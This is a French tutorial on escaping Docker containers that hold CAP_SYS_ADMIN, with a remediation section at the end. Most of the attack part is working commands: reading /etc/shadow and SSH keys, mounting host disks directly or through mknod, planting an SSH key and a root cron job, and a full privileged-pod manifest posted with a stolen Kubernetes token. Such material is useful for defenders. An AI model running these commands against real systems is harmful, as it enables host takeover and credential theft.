Docker : évasion de conteneur via les capabilities Linux
Un conteneur Docker n’est pas une machine virtuelle. Il partage le noyau de l’hôte et ne constitue pas une isolation de sécurité si sa configuration laisse des capabilities Linux non restreintes. Être root dans un conteneur avec CAP_SYS_ADMIN revient à être root sur l’hôte.
Virtualisation vs conteneurisation
Section titled “Virtualisation vs conteneurisation”La confusion entre ces deux technologies est à l’origine de beaucoup de fausses croyances sur la sécurité des conteneurs.
Une machine virtuelle (VMware, VirtualBox, KVM, Hyper-V) émule un matériel complet. Chaque VM tourne un noyau indépendant, isolé du noyau de l’hôte par un hyperviseur. Compromettre une VM ne donne pas accès à l’hôte sans exploiter l’hyperviseur lui-même — une surface d’attaque distincte et bien délimitée.
Un conteneur Docker n’émule rien. Il partage directement le noyau de l’hôte. L’isolation repose sur des mécanismes du noyau Linux : les namespaces (qui cloisonnent la vue des processus, du réseau, des montages…) et les cgroups (qui limitent les ressources consommées). Ces mécanismes isolent les processus mais ne protègent pas contre un processus qui dispose des droits suffisants pour interagir avec le noyau partagé.
┌─────────────────────────────────┐ ┌─────────────────────────────────┐│ Virtualisation │ │ Conteneurisation │├────────────┬────────────────────┤ ├────────────┬────────────────────┤│ App A │ App B │ │ App A │ App B │├────────────┼────────────────────┤ ├────────────┼────────────────────┤│ OS invité │ OS invité │ │ │ │├────────────┴────────────────────┤ │ Noyau hôte partagé ││ Hyperviseur │ │ │├─────────────────────────────────┤ ├─────────────────────────────────┤│ OS hôte / Noyau │ │ OS hôte / Noyau │└─────────────────────────────────┘ └─────────────────────────────────┘ Noyaux séparés Noyau communLa conséquence directe : un conteneur avec des droits suffisants peut interagir avec le noyau de l’hôte et sortir de son isolation. Une VM ne le peut pas sans compromettre l’hyperviseur.
L’hypothèse fausse
Section titled “L’hypothèse fausse”« Tant que c’est dans le conteneur, c’est sécurisé. »
C’est faux. Docker isole les processus via des namespaces et des cgroups, mais le noyau est partagé. Les capabilities Linux définissent ce qu’un processus peut faire sur ce noyau commun. Si un conteneur tourne avec des capabilities étendues — notamment CAP_SYS_ADMIN — les protections d’isolation s’effondrent.
Reconnaissance dans le conteneur
Section titled “Reconnaissance dans le conteneur”Variables d’environnement
Section titled “Variables d’environnement”La première chose à lire une fois dans le conteneur :
envLes variables d’environnement contiennent fréquemment des secrets injectés au déploiement : tokens d’API, mots de passe de base de données, clés privées.
DB_PASSWORD=prod_s3cr3tAWS_ACCESS_KEY_ID=AKIA...AWS_SECRET_ACCESS_KEY=...REDIS_URL=redis://:password@redis:6379Fichiers sensibles accessibles en root
Section titled “Fichiers sensibles accessibles en root”Dans un conteneur qui tourne en root sans user namespace remapping :
# Lire les comptes systèmecat /etc/passwdcat /etc/shadow
# Chercher les fichiers de sauvegarde (historique de la version précédente)ls /etc/passwd- /etc/shadow-Les fichiers avec le suffixe - sont les sauvegardes créées automatiquement avant chaque modification. Comparer les deux versions pour détecter un changement de mot de passe récent :
diff /etc/shadow /etc/shadow-Un utilisateur dont le hash diffère entre les deux fichiers a changé son mot de passe récemment. Le hash de l’ancienne version reste dans /etc/shadow- et peut être soumis à un outil de crackage.
Capabilities Linux actives
Section titled “Capabilities Linux actives”Les capabilities définissent les droits fins accordés au conteneur sur le noyau :
capsh --printSortie typique d’un conteneur mal configuré :
Current: = cap_chown,cap_dac_override,cap_fowner,cap_fsetid, cap_kill,cap_setgid,cap_setuid,cap_setpcap, cap_net_bind_service,cap_net_raw,cap_sys_chroot, cap_sys_admin,cap_mknod,cap_audit_write,cap_setfcap+eipBounding set: [...]La présence de cap_sys_admin dans la liste est déterminante.
Évasion via CAP_SYS_ADMIN
Section titled “Évasion via CAP_SYS_ADMIN”CAP_SYS_ADMIN regroupe une large collection de droits système, dont la possibilité de monter des systèmes de fichiers. Monter le disque de l’hôte dans le conteneur donne accès à l’intégralité du système de fichiers hôte.
Lister les disques disponibles
Section titled “Lister les disques disponibles”fdisk -lDisk /dev/sda: 50 GiBDevice Boot Start End Sectors Size Type/dev/sda1 * 2048 1050623 1048576 512M EFI/dev/sda2 1050624 20971519 19920896 9.5G Linux filesystem/dev/sda3 20971520 104857566 83886047 40G Linux filesystemIdentifier la partition racine de l’hôte.
Monter la partition hôte
Section titled “Monter la partition hôte”# Créer le point de montagemkdir /tmp/host_system
# Monter la partition racine de l'hôtemount /dev/sda1 /tmp/host_system
# Se déplacer sur le système de fichiers hôtecd /tmp/host_system
# Lister l'arborescence hôtels -ladrwxr-xr-x 18 root root 4096 jan 15 14:23 .drwxr-xr-x 3 root root 4096 jan 15 14:23 ..lrwxrwxrwx 1 root root 7 jan 15 14:23 bin -> usr/bindrwxr-xr-x 3 root root 4096 jan 15 14:23 bootdrwxr-xr-x 2 root root 4096 jan 15 14:23 etcdrwxr-xr-x 3 root root 4096 jan 15 14:23 homedrwxr-xr-x 2 root root 4096 jan 15 14:23 root...Le système de fichiers de l’hôte est maintenant accessible en lecture et écriture.
Ce qu’on peut faire depuis ce montage
Section titled “Ce qu’on peut faire depuis ce montage”# Lire les credentials hôtecat /tmp/host_system/etc/shadow
# Lire les clés SSH des utilisateurscat /tmp/host_system/root/.ssh/id_rsacat /tmp/host_system/home/ubuntu/.ssh/authorized_keys
# Ajouter sa propre clé publique pour un accès SSH persistantecho "ssh-rsa AAAA..." >> /tmp/host_system/root/.ssh/authorized_keys
# Lire les variables d'environnement des autres servicescat /tmp/host_system/etc/environment
# Lire les secrets Docker des autres conteneurscat /tmp/host_system/var/lib/docker/volumes/...
# Planter un cron sur l'hôte pour exécuter du codeecho "* * * * * root /tmp/shell.sh" >> /tmp/host_system/etc/crontabL’accès au système de fichiers hôte en écriture constitue une compromission totale de la machine.
Quand fdisk -l ne retourne rien
Section titled “Quand fdisk -l ne retourne rien”fdisk -l sans résultat indique que le cgroup device est correctement configuré — le conteneur n’a pas accès aux périphériques bloc. CAP_SYS_ADMIN est présente, mais l’accès aux disques est bloqué. D’autres vecteurs restent à explorer.
Vérifier ce qui est déjà monté
Section titled “Vérifier ce qui est déjà monté”mount | grep -v tmpfscat /proc/mountsSi notify_on_release apparaît dans la liste des montages cgroup, le système de notification de libération de cgroup est actif — un vecteur d’exploitation cgroup classique.
Tenter de monter un cgroup
Section titled “Tenter de monter un cgroup”mkdir /tmp/cgroup_mountmount -t cgroup -o rdma cgroup /tmp/cgroup_mount/Si la réponse est Permission denied, une protection supplémentaire est en place — AppArmor, Seccomp, ou LSM. Ce vecteur est fermé.
Chercher des répertoires cgroup accessibles en écriture
Section titled “Chercher des répertoires cgroup accessibles en écriture”find /sys/fs/cgroup -writable -type d 2>/dev/nullUn répertoire accessible en écriture dans /sys/fs/cgroup peut permettre d’écrire dans notify_on_release ou release_agent pour déclencher l’exécution d’un script avec les droits de l’hôte.
Vérifier le PID namespace avec /proc/1/root
Section titled “Vérifier le PID namespace avec /proc/1/root”Si le conteneur partage le PID namespace de l’hôte, /proc/1/root pointe vers la racine du système de fichiers hôte.
ls -la /proc/1/root/Un accès en lecture confirme le partage du PID namespace. Avant d’agir, vérifier qu’on est bien sur l’hôte et pas dans un autre conteneur :
# Comparer les hostnamescat /etc/hostnamecat /proc/1/root/etc/hostnameSi les deux hostnames diffèrent, /proc/1/root appartient à un autre conteneur ou à l’hôte. Si elles sont identiques, le conteneur est l’hôte lui-même.
Accéder au système de fichiers hôte via /proc/1/root
Section titled “Accéder au système de fichiers hôte via /proc/1/root”# Lister la racine hôtels /proc/1/root/
# Lire des fichiers sensiblescat /proc/1/root/etc/shadowcat /proc/1/root/root/.ssh/id_rsaDisques cachés et mknod
Section titled “Disques cachés et mknod”Quand les périphériques bloc ne sont pas visibles via fdisk -l, les chercher autrement.
Lister les périphériques bloc
Section titled “Lister les périphériques bloc”ls -l /dev | grep -E 'sd|vd|nvme|mapper'Lire la table des partitions du noyau
Section titled “Lire la table des partitions du noyau”cat /proc/partitionsmajor minor #blocks name 8 0 244140625 sda 8 1 244140625 sda1major 8, minor 1 identifient le périphérique bloc sda1.
Recréer le périphérique et le monter
Section titled “Recréer le périphérique et le monter”Si CAP_SYS_ADMIN est présente, mknod permet de créer manuellement un fichier de périphérique bloc même s’il n’existe pas dans /dev :
# Créer le fichier de périphérique (major 8, minor 1)mknod /tmp/evil_disk b 8 1
# Monter la partitionmkdir /tmp/mnt_hostmount /tmp/evil_disk /tmp/mnt_host
# Accéder au système de fichiers hôtels /tmp/mnt_host/cat /tmp/mnt_host/etc/shadowEnvironnement Kubernetes : tokens de service account
Section titled “Environnement Kubernetes : tokens de service account”Certains conteneurs tournent dans un cluster Kubernetes. Les montages révèlent l’environnement :
mount | grep -v tmpfsLa présence de lignes comme :
/dev/mapper/vg--sdd-lv--rancher on /etc/hostname type ext4 (rw,relatime)/dev/mapper/vg--sdd-lv--rancher on /etc/resolv.conf type ext4 (rw,relatime)indique un volume Rancher — le conteneur tourne dans un cluster Kubernetes managé.
Chercher le token de service account
Section titled “Chercher le token de service account”ls /var/run/secrets/kubernetes.io/serviceaccount/# token ca.crt namespaceTOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crtVérifier les droits du token
Section titled “Vérifier les droits du token”# Lister les pods accessiblescurl -k -s -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods
# Vérifier si la création de pods est autoriséecurl -k -s -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods \ -o /dev/null -w "%{http_code}"Un code 200 ou 201 confirme que le token a les droits suffisants.
Créer un pod privilégié pour sortir du cluster
Section titled “Créer un pod privilégié pour sortir du cluster”Si le token permet la création de pods, déployer un pod avec accès au système de fichiers hôte :
cat <<EOF > /tmp/pwn-pod.json{ "apiVersion": "v1", "kind": "Pod", "metadata": { "name": "escape-pod", "namespace": "$NAMESPACE" }, "spec": { "containers": [ { "name": "pwn-cnt", "image": "alpine", "command": ["/bin/sh", "-c", "cat /mnt/host/root/.ssh/id_rsa > /mnt/host/tmp/key.txt; sleep 1000"], "volumeMounts": [ { "mountPath": "/mnt/host", "name": "host-root" } ], "securityContext": { "privileged": true } } ], "volumes": [ { "name": "host-root", "hostPath": { "path": "/" } } ], "hostPID": true, "restartPolicy": "Never" }}EOF
curl -k -s \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -X POST \ -d @/tmp/pwn-pod.json \ https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/podsLe pod escape-pod monte / de l’hôte dans /mnt/host avec le mode privileged. La commande dans le conteneur exécute ce qu’on lui passe — lecture de fichiers, ajout de clés SSH, installation de backdoors.
Lire la sortie du pod
Section titled “Lire la sortie du pod”# Vérifier l'état du podcurl -k -s -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/escape-pod \ | python3 -m json.tool | grep '"phase"'
# Lire les logscurl -k -s -H "Authorization: Bearer $TOKEN" \ https://kubernetes.default.svc/api/v1/namespaces/$NAMESPACE/pods/escape-pod/logRemédiation
Section titled “Remédiation”Ne pas faire tourner les conteneurs en root
Section titled “Ne pas faire tourner les conteneurs en root”Définir un utilisateur non privilégié dans le Dockerfile :
# Créer un utilisateur dédiéRUN groupadd -r appgroup && useradd -r -g appgroup appuser
# Basculer vers cet utilisateurUSER appuserOu spécifier l’utilisateur au lancement :
docker run --user 1000:1000 mon-imageSupprimer les capabilities inutiles
Section titled “Supprimer les capabilities inutiles”Par défaut, Docker accorde un ensemble de capabilities. Les supprimer toutes et n’ajouter que ce qui est strictement nécessaire :
# Supprimer toutes les capabilities par défautdocker run --cap-drop ALL mon-image
# N'ajouter que ce qui est nécessaire (ex. binding sur port <1024)docker run --cap-drop ALL --cap-add NET_BIND_SERVICE mon-imageNe jamais utiliser --privileged en production — cette option donne au conteneur l’accès complet au noyau, équivalent à tourner sans isolation.
Activer le user namespace remapping
Section titled “Activer le user namespace remapping”Le user namespace remapping fait correspondre le root du conteneur (UID 0) à un utilisateur non privilégié sur l’hôte. Même si un attaquant est root dans le conteneur, il est un utilisateur ordinaire sur l’hôte.
Dans /etc/docker/daemon.json :
{ "userns-remap": "default"}Ne pas monter le socket Docker dans les conteneurs
Section titled “Ne pas monter le socket Docker dans les conteneurs”Monter /var/run/docker.sock dans un conteneur donne le contrôle total du daemon Docker — et donc de l’hôte :
# À ne jamais fairevolumes: - /var/run/docker.sock:/var/run/docker.sockRésumé des vecteurs
Section titled “Résumé des vecteurs”| Élément détecté | Impact |
|---|---|
| Variables d’environnement | Secrets, credentials, tokens |
/etc/shadow- | Hash du mot de passe précédent |
CAP_SYS_ADMIN + disques visibles | Montage direct → accès système de fichiers hôte |
CAP_SYS_ADMIN + mknod | Recréation du périphérique bloc si /dev filtré |
/sys/fs/cgroup accessible en écriture | Exécution de commandes via release_agent |
/proc/1/root accessible | Partage du PID namespace → accès direct à la racine hôte |
| Token Kubernetes + droits pod | Déploiement d’un pod privilégié → compromission du nœud |
| Volumes Rancher/Kubernetes montés | Identification de l’environnement, recherche de tokens |
--privileged | Accès complet au noyau |
| Socket Docker monté | Contrôle total du daemon Docker |
À retenir
Section titled “À retenir”Un conteneur Docker en root avec CAP_SYS_ADMIN n’est pas un périmètre de sécurité. Quand le vecteur évident (fdisk -l) est bloqué, les alternatives restent nombreuses : /proc/1/root, mknod sur un périphérique lu dans /proc/partitions, cgroup writable, ou un token Kubernetes avec droits de création de pods. L’ordre d’exploration va du plus simple au plus contraint — chaque protection contournée ouvre une nouvelle piste.
La sécurité d’un déploiement Docker repose sur l’utilisateur non root, la suppression des capabilities inutiles, le user namespace remapping, et l’absence de montages dangereux. Dans un cluster Kubernetes, restreindre les droits des service accounts et interdire la création de pods privilégiés via les PodSecurity admission policies.